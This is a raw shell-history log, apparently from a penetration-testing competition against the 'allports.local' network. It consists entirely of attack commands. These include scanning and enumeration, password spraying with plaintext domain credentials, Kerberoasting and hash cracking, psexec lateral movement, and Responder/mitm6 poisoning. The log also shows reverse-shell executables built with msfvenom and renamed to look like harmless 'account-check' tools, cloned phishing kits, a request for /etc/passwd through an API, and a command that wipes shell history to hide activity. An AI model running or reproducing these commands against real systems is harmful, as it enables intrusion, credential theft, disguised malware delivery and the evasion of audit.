netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k --generate-tgt /tmp/stabsvc.krb
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k --generate-tgt stabsvc.krb


_raw:
impacket-getTGT allports.local/'SVC_STABILIZE':'1gyroscope'\
export KRB5CCNAME=SVC_STABILIZE.ccache
impacket-psexec  allports.local/'SVC_STABILIZE:1gyroscope'@10.0.1.20 -K
impacket-psexec  allports.local/'SVC_STABILIZE:1gyroscope'@10.0.1.20 -k
impacket-psexec  APT-DC-01.allports.local/'SVC_STABILIZE:1gyroscope'@10.0.1.20 -k
impacket-psexec  allports.local/'SVC_STABILIZE:1gyroscope'@10.0.1.20 -k


_raw:
cat creds.txt
ls
cat creds.txt
impacket-psexec  allports.local/SVC_STABILIZE:1gyroscope@10.0.1.20
impacket-psexec  allports.local/SVC_STABILIZE:1gyroscope@10.0.1.20 -k
evil-winrm -i 10.0.1.20 -u SVC_STABILIZE -p 1gyroscope
impacket-psexec  allports.local/'SVC_STABILIZE:1gyroscope'@10.0.1.20 -k
impacket-psexec  allports.local/'SVC_STABILIZE:1gyroscope'@10.0.1.20 -k --generate-tgt /tmp/stabsvc.krb
impacket-psexec  allports.local/'SVC_STABILIZE:1gyroscope'@10.0.1.20 -K
impacket-psexec  allports.local/'SVC_STABILIZE:1gyroscope'@10.0.1.20 -k
impacket-psexec  allports.local/'SVC_STABILIZE:1gyroscope'@10.0.1.20
impacket-psexec  allports.local/'SVC_STABILIZE:1gyroscope'@10.0.1.20 -k
impacket-getTGT -dc-ip 10.0.1.6 allports.local/'SVC_STABILIZE'
export KRB5CCNAME=SVC_STABILIZE.ccache


_raw:
ls
cat creds.txt
ls
impacket-psexec allports.local/SVC_STABILIZE@10.0.1.20 -k -no-pass
ifconfls
export KRB5CCNAME=SVC_STABILIZE.ccache
impacket-psexec allports.local/SVC_STABILIZE@10.0.1.20 -k -no-pass
impacket-psexec -dc-ip 10.0.1.6 -target-ip 10.0.1.20 -no-pass -k
impacket-psexec -dc-ip 10.0.1.6 -target-ip 10.0.1.20 -no-pass -k allports.local/SVC_STABILIZE@10.0.1.20
kinit


_raw:
netexec smb APT-DC-01.allports.local   -u 'Guest' -p '' -d allports.local -k --samm
netexec smb APT-DC-01.allports.local   -u 'Guest' -p '' -d allports.local -k --sam
netexec smb APT-DC-01.allports.local   -u 'Guest' -p '' -k --sam
LS
L
cat /etc/hosts


_raw: : 1761395410:0;mv /home/pentester/Downloads/login.html /root/kerbrute


_raw: : 1761395356:0;crackmapexec smb 10.0.1.6  -u 'rdavis' -p 'rosdav50' --verbose --loggedon-users


_raw: : 1761395337:0;crackmapexec smb 10.0.1.6  -u 'rdavis' -p 'rosdav50' --loggedon-users


_raw: : 1761395313:0;crackmapexec -h smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' -x 'whoami' --exec-method atexec


_raw: : 1761395291:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt -x php,js,json,env,conf,txt -l -k -b 403,404,4831\


_raw: : 1761395217:0;gobuster dir -u http://10.0.1.11 -w /usr/share/wordlists/dirb/common.txt\


_raw:
cat cptc| less
kerbrute
sudo apt install kerbrute
sudo apt-get update -u
sudo apt-get update -y
sudo apt install kerbrute
ls
cat creds.txt
cat cptc | grep -i 3389
ls
cat cptc
ls


_raw: : 1761394549:0;crackmapexec smb 10.0.1.6  -u 'rdavis' -p 'rosdav50' -m SMB2


_raw:
cd Desktop
mkdir payloads
cd payloads
clear
msfvenom -p -h
msfvenom -p windows/x64/shell/reverse_tcp LHOST=eth0 LPORT=4444 -f exe > check-account.exe
nc -nvlp 4444
clear
sudo ufw
sudo iptables
sudo iptables -h
clear
nc -nvlp 4444
clear
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=4444 -f exe > check-account.exe
clear
ls
rm check-account.exe
clear
git clone https://github.com/dev-frog/C-Reverse-Shell.git
cd C-Reverse-Shell
ls
nano re.cpp
clear
i686-w64-mingw32-g++ re.cpp -o re.exe -lws2_32 -lwininet -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
sudo apt install mingw-w64
clear
i686-w64-mingw32-g++ re.cpp -o re.exe -lws2_32 -lwininet -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc
ls
mv re.exe account-check.exe


_raw:
echo dGFidWxhcl
echo dGFidWxhcl | base64 -d
echo "dGFidWxhcl" | base64 -d
echo "dGFidWxhcl==" | base64 -d
echo "dGFidWxhcl9zZWFyY2g=" | base64 -d
crackmapexec smb 10.0.1.0/24 -u "bfinn" -p "mypassword" --shares
crackmapexec smb 10.0.1.0/24 -u "bfinn" -p "rosdav50" --shares
crackmapexec smb 10.0.1.6 -u "bfinn" -p "rosdav50" --shares
crackmapexec smb 10.0.1.6 -u "bfinn" -p "123456789" --shares
ping 10.0.1.6
crackmapexec smb 10.0.1.6 -u "rdavis" -p "rosdav50" --shares
crackmapexec smb 10.0.1.6/24 -u "rdavis" -p "rosdav50" --shares
cd ../../..
ls
cd Desktop
ls
cd ldapdd
impacket-GetUserSPNs
impacket-GetUserSPNs allports.local/rdavis:rosdav50 -dc-ip 10.0.1.6 -request
nano krbtgs.txt
hashcat -m 13100 krbtgs.txt /usr/share/wordlists/rockyou.txt
crackmapexec smb 10.0.1.6/24 -u "SVC_STABILIZE" -p "1gyroscope" --shares
crackmapexec ssh 10.0.1.6/24 -u "SVC_STABILIZE" -p "1gyroscope"
crackmapexec ssh 10.0.1.6/24 -u "rdavis" -p "rosdav50"
crackmapexec rdp  10.0.1.6/24 -u "rdavis" -p "rosdav50"
impacket-GetNPUsers allports.local/rdavis:rosdav50 -dc-ip 10.0.1.6 -request
crackmapexec rdp  10.0.1.6/24 -u "rdavis" -p "rosdav50"
crackmapexec smb 10.0.1.6 -u "rdavis" -p "rosdav50" --shares
crackmapexec smb 10.0.1.6/24 -u "SVC_STABILIZE" -p "1gyroscope" --shares
clear
crackmapexec smb 10.0.1.6/24 -u "SVC_STABILIZE" -p "1gyroscope" --local-auth
crackmapexec smb  10.0.1.6/24 -u "rdavis" -p "rosdav50" --local-auth
nikto -h http://10.0.1.14
nikto -h http://10.0.1.14:5001
gobuster -h http://10.0.1.14 -w /usr/share/wordlists/rockyou.txt
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/rockyou.txt
gobuster dir -u http://10.0.1.14:5001 -w /usr/share/wordlists/rockyou.txt
gobuster dir -u http://10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.14:5001/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
clear
sudo responder -I eth0 -dw
mitm6
clear


_raw:
ip a
nc -nvlp 4444
clear
nc -nvlp 4444
clear


_raw:
blodhound
bloodhound-python
bloodhound-python -d ALLPORTS.local -u 'rdavis' -p 'rosdav50' -ns 10.0.1.6
rdesktop 10.0.1.6


_raw:
ip a
nc -nvlp 4444
clear
rdesktop -u "rdavis" -p "rosdav50" 10.0.1.6
ip a
cd ..
clear
smbclient //10.0.1.6/ -U 'allports.local'
smbclient //10.0.1.6/ -U 'allports.local'
smbclient -L  //10.0.1.6/ -U 'allports.local'
smbclient //10.0.1.6/ -U 'allports.local\rdavis'
smbclient //10.0.1.6/
smbclient //10.0.1.6/ -U 'rdavis'
smbclient -N -L //10.0.1.6/
smbclient \\\\10.0.1.6\\ -U 'allports.local\rdavis'
smbclient -N -L \\\\10.0.1.6\\ -U 'allports.local\rdavis'
crackmapexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50'
crackmapexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50' --shares


_raw:
ip a
arp -a
ping 10.0.1.1
ping 10.0.1.2
clear
for i in {1..254} ; do ping "10.0.1.$i" -c1 -w1 | grep "bytes from" ; done
nmap -sV 10.0.1.6
clear
nmap -sV -sC 10.0.1.6
nmap -sV -sC 10.0.1.10
nmap -sV -sC 10.0.1.11
nmap -sV -sC 10.0.1.14
nmap -sV -sC 10.0.1.15
nmap -sV -sC 10.0.1.20
nmap -sV -sC 10.0.1.21
nmap -sV -sC 10.0.1.30
nmap -sV -sC 10.0.1.99
nmap -sV -sC 10.0.1.254
firefox http://10.0.1.14:5001
clear
firefox http://10.0.1.14:5001 &
gobuster dir -u http://10.0.1.14:5001/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
sudo nano /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.14:5001/ --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://10.0.1.14:5001/FUZZ --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0
ffuf -u http://10.0.1.14:5001/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0
clear
gobuster dir -u https://10.0.1.14/ --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u https://10.0.1.14/ --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --ignore-cert
clear
gobuster dir -u http://10.0.1.11:8081/ --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
ffuf -u http://10.0.1.11:8081/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -fs 0
http://10.0.1.11:8081/clear
clear
burpsuite&


_raw:
dnsrecon allports.local -ns 10.0.1.6
dnsrecon allports.local -n 10.0.1.6
dnsrecon -d allports.local -n 10.0.1.6
crackmapexec smb 10.0.1.0/24 -u '' -p '' --shares
smbclient -L -N //10.0.1.6
smbclient -L -N //10.0.1.6/
smbclient -N -L //10.0.1.6/
crackmapexec smb 10.0.1.0/24 -u '' -p '' --shares --local-auth
nbtstat
crackmapexec ldap 10.0.1.6 -u '' -p ''
cd Desktop
mkdir ldapdd
cd ldapdd
ldapdomaindump -u '' -p '' 10.0.1.6
ldapdomaindump -u 'allports.local\' -p '' 10.0.1.6
ldapdomaindump -u 'allports.local\' -p '' 10.0.1.6 --help
ldapdomaindump 10.0.1.6
ls
ll
open domain_users
open domain_users.html
clear
sudo apt install net-tools
nbtscan 10.0.1.0/24
nbtscan 10.0.1.1-254
nbtscan 10.0.1.16
nbtscan 10.0.1.6
sudo nbtscan 10.0.1.6
clear
crackmapexec winrm 10.0.1.0/24 -u '' -p ''
crackmapexec rdp 10.0.1.0/24 -u '' -p ''
clear
impacket-GetUserSPNs -u '' -p '' -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs -no-preauth -dc-ip 10.0.1.6 -request
impacket-GetUserSPNs
impacket-GetUserSPNs ALLPORTS.LOCAL/: -dc-ip 10.0.1.6
clear
smbclient -N -L //10.0.1.20/
rdesktop 10.0.1.20
smbclient -N -L //10.0.1.21/
rdesktop 10.0.1.21
hash-identifier $2a$10$Ytkt8FIPnQJnOx1BrdpmnubTs2qJqnbnagwvW3RjosB8JpTpmpSYW
clear
sudo tar xfz /usr/share/wordlists/rockyou.txt.gz
sudo open /usr/share/wordlists
sudo gzip --help
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz /usr/share/wordlists/rockyou.txt
ls
hashcat -m 28400 $2a$10$Ytkt8FIPnQJnOx1BrdpmnubTs2qJqnbnagwvW3RjosB8JpTpmpSYW /usr/share/wordlists/rockyou.txt
hashcat -m 28400 '$2a$10$Ytkt8FIPnQJnOx1BrdpmnubTs2qJqnbnagwvW3RjosB8JpTpmpSYW' /usr/share/wordlists/rockyou.txt
clear
crackmapexec rdp 10.0.1.6 -u 'rdavis' -p 'rosdav50'
crackmapexec 10.0.1.6 -u 'rdavis' -p 'rosdav50'
crackmapexec smb 10.0.1.6 -u 'rdavis' -p 'rosdav50'
ldapdomaindump -u 'rdavis' -p 'rosdav50' 10.0.1.6
ldapdomaindump -u 'ALLPORTS.touresrdavis' -p 'rosdav50' 10.0.1.6
ldapdomaindump -u 'ALLPORTS.tours\rdavis' -p 'rosdav50' 10.0.1.6
ldapdomaindump -u 'ALLPORTS.local\rdavis' -p 'rosdav50' 10.0.1.6
ll
open domain_users.html
open .
crackmapexec smb 10.0.1.6 -u 'admin' -p 'password'


_raw:
: 1761394366:0;ffuf -u http://10.0.1.14 -H "Host: FUZZ.allports.tours" \\
     -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt \\
     -mc 200 -fs 4831\


_raw: : 1761394320:0;mysql -u "rdavis" -p '' -h 10.0.1.99 --skip-ssl-verify-server-cert


_raw: : 1761394299:0;mysql -u "SVC_STABILIZE" -p '' -h 10.0.1.99 --skip-ssl-verify-server-cert


_raw: : 1761394289:0;mysql -h 10.0.1.99 -u root --ssl-mode=VERIFY_IDENTITY --ssl-ca=/etc/ssl/certs/ca-certificates.crt\


_raw: : 1761394289:0;mysql -u "SVC_STABILIZE" -h 10.0.1.99 --skip-ssl-verify-server-cert


_raw: : 1761394258:0;ffuf -u http://10.0.1.14 -H "Host: FUZZ.allports.tours" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt\


_raw: : 1761394235:0;pip3 install -r requirements.txt


_raw: : 1761394196:0;pip3 install -r requirements.txt


_raw: : 1761394177:0;git clone https://github.com/spyboy-productions/Facad1ng.git


_raw: : 1761394160:0;mysql -u "SVC_STABILIZE" -h 10.0.1.15:3306 --skip-ssl-verify-server-cert


_raw: : 1761394013:0;mysql -u "SVC_STABILIZE" -p 3306 -h 10.0.1.15 --skip-ssl-verify-server-cert


_raw:
clear
curl 129.21.249.48
ping 129.21.249.48
nmap 129.21.249.48
ping 10.0.1.10
nmap 10.0.1.6
msfconcole
msfconsole
dnsrecon -d 10.0.1.6
nmap -p- -sC -sV 10.0.1.11
cd Desktop
sqlmap -r req.txt
sqlmap -r req.txt --batch
cat req.txt
sqlmap -r req.txt -p email,password --dbs --dbms="MySQL"
sqlmap -r req.txt -p email
nmap -p- -sC -sV 10.0.1.254
nmap -p- -sC -sV 10.0.1.30
nmap -p- -sC -sV 10.0.1.20
ls
cd ..
ls
cat password.txt
cd /usr/share/wordlists
ls
cd metasploit
ls
cat unix_passwords.txt


_raw: : 1761393748:0;git clone https://github.com/htr-tech/zphisher.git


_raw: : 1761393605:0;mysql -u "SVC_STABILIZE"  -h 10.0.1.15 --skip-ssl-verify-server-cert


_raw: : 1761393511:0;mysql -u "rdavis" -p "rosdav50" -h 10.0.1.15 --skip-ssl-verify-server-cert


_raw: : 1761393496:0;mysql -u "rdavis"  -h 10.0.1.15 --skip-ssl-verify-server-cert


_raw: : 1761393475:0;mysql -u "rdavis" -p '' -h 10.0.1.15 --skip-ssl-verify-server-cert


_raw:
: 1761393394:0;for p in /api/emails /api/debug/emails /_sent_emails /_emails /emails /mail /api/mails /admin/emails /dev/mail /test/emails /_outbox /_messages; do\
  echo -e "\n=== http://10.0.1.11${p} ==="\
  curl -s -i "http://10.0.1.11${p}" | sed -n '1,120p'\
done\


_raw:
: 1761393351:0;curl -s -i -X POST http://10.0.1.11/api/auth/login \\
  -H "Content-Type: application/json" \\
  -d '{"username":"pentest1","password":"P@ssw0rd!23"}'\


_raw:
: 1761393342:0;curl -s -i -X POST http://10.0.1.11/api/auth/register \\
  -H "Content-Type: application/json" \\
  -d '{"email":"REDACTED_EMAIL","username":"pentest1","name":"Pentest User","password":"P@ssw0rd!23","confirm_password":"P@ssw0rd!23"}'\


_raw:
cd Desktop
nano cve
cd ..
hydra -L user.txt -P pass.txt 10.0.1.15 ssh
hydra -P pass.txt 10.0.1.15 ssh
clear
nmap -sS Pn -T4 -p- -sV -sC -A -oA nmap_deep_10_0_1_11 10.0.1.11
nmap -sS -Pn -T4 -p- -sV -sC -A -oA nmap_deep_10_0_1_11 10.0.1.11
history
execute history -c
execute history -h
sudo history -h
sudo history -c
history -c
history -h
history --help
history -d
history -delete
clear
history


_raw:
: 1761393311:0;curl -s -i -X POST http://10.0.1.11/api/auth/login \\
  -H "Content-Type: application/json" \\
  -d '{"username":"pentest1","password":"P@ssw0rd!23"}'\


_raw:
: 1761393299:0;curl -s -i -X POST http://10.0.1.11/api/auth/register \\
  -H "Content-Type: application/json" \\
  -d '{"email":"REDACTED_EMAIL","username":"pentest1","password":"P@ssw0rd!23"}'\


_raw:
: 1761393217:0;curl -s -i -X POST http://10.0.1.11:8000/local/embed \\
  -H "Content-Type: application/json" \\
  -d '{"filepath":"/etc/passwd","filename":"passwd","file_content_type":"text/plain","file_id":"test"}'\


_raw:
msfconsole
clear
masscan 10.0.1.0/24 -p0-65535 --rate 10000 -oG masscan_hosts.gnmap\
sudo masscan 10.0.1.0/24 -p0-65535 --rate 10000 -oG masscan_hosts.gnmap\
cat password.txt
sudo masscan 10.0.1.0/24 -p0-65535 --rate 10000 -oG masscan_hosts.gnmap\
rm -f ~/masscan_hosts.gnmap\
ls
nmap -sS -Pn -T4 -p- -sV -sC -A 10.0.1.21\
enum4linux -a 10.0.1.21\
smbclient -L //10.0.1.21 -N\
rpcclient -U "" 10.0.1.21 -c "srvinfo;enumdomusers;netshareenum" || true\
nmap -sS -Pn -p 135 --script msrpc-enum 10.0.1.21\
clear
if [ -n "$ZSH_VERSION" ]; then > ~/.zsh_history 2>/dev/null; history -c 2>/dev/null; history -w 2>/dev/null; elif [ -n "$BASH_VERSION" ]; then > ~/.bash_history 2>/dev/null; history -c 2>/dev/null; history -w 2>/dev/null; fi\
history